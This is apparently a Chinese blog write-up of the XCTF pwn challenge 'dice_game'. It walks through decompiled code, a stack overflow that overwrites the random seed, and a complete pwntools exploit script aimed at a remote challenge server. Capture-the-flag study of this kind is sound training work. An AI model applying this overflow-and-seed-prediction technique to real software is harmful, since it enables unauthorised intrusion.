# xctfwp

原创

饭饭啊饭饭 已于 2022-03-10 10:54:05 修改 918 收藏

分类专栏： 做题记录 文章标签： xctf pwn

于 2019-09-23 20:26:24 首次发布



本文链接：https://blog.csdn.net/zyh18851473527/article/details/101222668





## dice_game

首先将其拖进IDA64中查看一下

```
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
  buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
  printf("Game %d/50\n", v8);
  v5 = sub_A20();
  fflush(stdout);
  if ( v5 != 1 )
    break;
  if ( v8 == 50 )
  {
    sub_B28((__int64)buf);
    break;
  }
  ++v8;
}
puts("Bye bye!");
return 0LL;
```

seed跟buf偏移0x40

读取seed[0]（unsigned int 32位），
所以多覆盖4字节


根据代码可以得知猜对50次的数字后就可以get flag了

```
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
```

但是实际上只给buf分配了0x30的空间

buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断，所以我们只要覆盖到之前的 seed 就可以为所欲为了。

同时注意到 seed 跟 buf 相差的偏移是 0x40，所以只要 68 个字符就可以溢出覆盖 seed 了。我们写入0x40的数据就可以覆盖到seed了

```
-0000000000000050 buf             db 55 dup(?)
-0000000000000019 var_19          db ?
-0000000000000018 var_18          dq ?
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s               db 8 dup(?)
+0000000000000008  r               db 8 dup(?)
+0000000000000010
```



```python
from pwn import *
from ctypes import *
context.log_level = "debug"

p=remote("111.198.29.45",59396)
libc = cdll.LoadLibrary("libc.so.6")

payload = "a" * 0x40 + p64(1)
p.recvuntil("your name: ")
p.sendline(payload)

libc.srand(1)
for i in range(50):
  num = str(libc.rand()%6+1)
  p.recvuntil("point(1~6): ")
  p.sendline(str(num))

p.interactive()
```



## warmup